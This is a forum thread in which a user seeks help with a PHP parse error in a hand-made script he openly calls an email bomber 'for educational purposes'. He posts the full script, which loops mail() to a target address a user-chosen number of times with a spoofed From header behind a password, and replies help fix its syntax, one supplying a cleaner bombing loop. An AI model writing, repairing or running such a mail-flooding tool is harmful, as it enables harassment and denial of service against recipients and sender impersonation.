yet another php error in a script

ok so i have this script which i hand made… but it brings up this error message which i just cant fix. i dont have any control over the server side things or anything like that.

ok so the error message says that i have an unexpected $ on line 65… thats the last line of the script so all that is, is ?>

ive tried this script on 3 servers and they all fail on me but only one gives me the unexpected $ error message so i guess its got to be the same for all of them

i can email the script to you if you want to have a look at it but i dont exactly wish to post it so if there is anyone out there which can help me that would be most appreciated thankyou.

You could post the relevant code, can’t you? Or try error_reporting(E_ALL); at the top of your script to make sure all errors are being displayed.

the script isnt the most useful and friendliest thing ive ever made… to admit its an email bomber… mind you its strictly for educational purposes. thats why im trying to put the password on it but it just doesnt want to let me do it. either way here is the script in question.
the stars where the password variable is actually a password, not a bunch of stars just to clarify.

thanks to anyone that can help out

[php]

<?php echo "" . $_POST["to"] . $_POST["from"] . $_POST["subject"] . $_POST["message"] . "are the details entered"; switch ($_POST["password"]): case "*********": echo "Password Correct
"; stage1(); default: echo "Password incorrect"; mail("[email protected]","incorrect password","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; function stage1() { switch ($_POST["to"]) { case "[email protected]": echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; case "[email protected]": echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); case "[email protected]": echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; case "[email protected]": echo "cannot email to this account, " . $_POST["to"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; default: stage2(); break; }} function stage2() { switch ($_POST["from"]) { case "[email protected]": echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; case "[email protected]": echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; case "[email protected]": echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; case "[email protected]": echo "cannot email using this account, " . $_POST["from"] . ", it has been disabled"; mail("[email protected]","incorrect usage","ip=" . $_SERVER["REMOTE_ADDR"] . "---to=" . $_POST["to"] . "---from=" . $_POST["from"] . "---subject=" . $_POST["subject"] . "---message=" . $_POST["message"],"[email protected]"); break; default: $headers = "From:" . $_POST["from"] . ""; $i=1; while($i<=$_POST["number"]) { mail($_POST["to"],$_POST["subject"],$_POST["message"],$headers); $i++; } echo "mail sent
"; break; }} ?>[/php]

Mod Edit: Added [php] tags for readability, deleted email addresses.

I will help you for the sake of knowledge, but email bombers are forbidden by most hosts and your ISP won’t allow you to host one yourself.

Have you tried error_reporting(E_ALL); or debugging?

thanks for the help, i intend to make something more useful once i have learnt what has gone wrong here which will mean the bring down of this “toy”. i added the error_reporting(E_ALL); line into the start of the script but i dont think it did anything because i think the problem lies at the stage where it tries to read the script before executing it (i think thats how it works anyway…) cos i know this script works, just without the password protection on it. and once i went to execute the script again, it gave me the same error but on line 67. here is the error msg exactly

Parse error: parse error, unexpected $ in (site address here)/mailer.php on line 67

the site address is hidden to prevent abuse on this script once it is working again, hopefully that wont happen anyway once i bring it down.

if i could be told how to debug this that would be awesome as well thank you

dasman

First of all: your switch statement syntax is wrong. See here for more info.

Second: why are you even using switch? Why not an if statement?

if (isset($_POST[‘password’]) && $_POST[‘password’] == $password)
{
for ($i = 0; $i < $bomb_amount; $i++)
{
// Mail code…
}
}
else
{
echo ‘sorry’;
}

i had a look at the switch commands there added a break; and a set of {} into it but now it brings up a new error message

Parse error: parse error, unexpected ‘{’, expecting T_ENDSWITCH or T_CASE or T_DEFAULT in (website location)/mailer.php on line 4.

switch ($_POST[“password”]):{
case “********”:
echo “Password Correct
”;
stage1();
break;
default:
echo “Password incorrect”;
mail("[email protected]",“incorrect password”,“ip=” . $_SERVER[“REMOTE_ADDR”] . “—to=” . $_POST[“to”] . “—from=” . $_POST[“from”] . “—subject=” . $_POST[“subject”] . “—message=” . $_POST[“message”],“[email protected]”);
break;
}

i am using the switch command as when i go to use the if command, it doesnt like to work for some reason and the switch command worked for me fine. but i will give it a shot and get back to you

if ($_POST[“password”] == ********):
{
echo “Password Correct
”;
stage1();
}
else:
{
echo “Password incorrect”;
mail("[email protected]",“incorrect password”,“ip=” . $_SERVER[“REMOTE_ADDR”] . “—to=” . $_POST[“to”] . “—from=” . $_POST[“from”] . “—subject=” . $_POST[“subject”] . “—message=” . $_POST[“message”],“[email protected]”);
break;
}

according to me and my site, thats fine but theres the error message again

Parse error: parse error, unexpected $ in /home/content/p/h/1/ph1012/html/jamesanddarren/mailer.php on line 69

Well, you’re using colons at the end of the if and else statements, get rid of those as they’re not part of the syntax, and would likely raise errors. For the rest, your code seems fine (but do encapsulate your star-censored password with quotes).

Sponsor our Newsletter | Privacy Policy | Terms of Service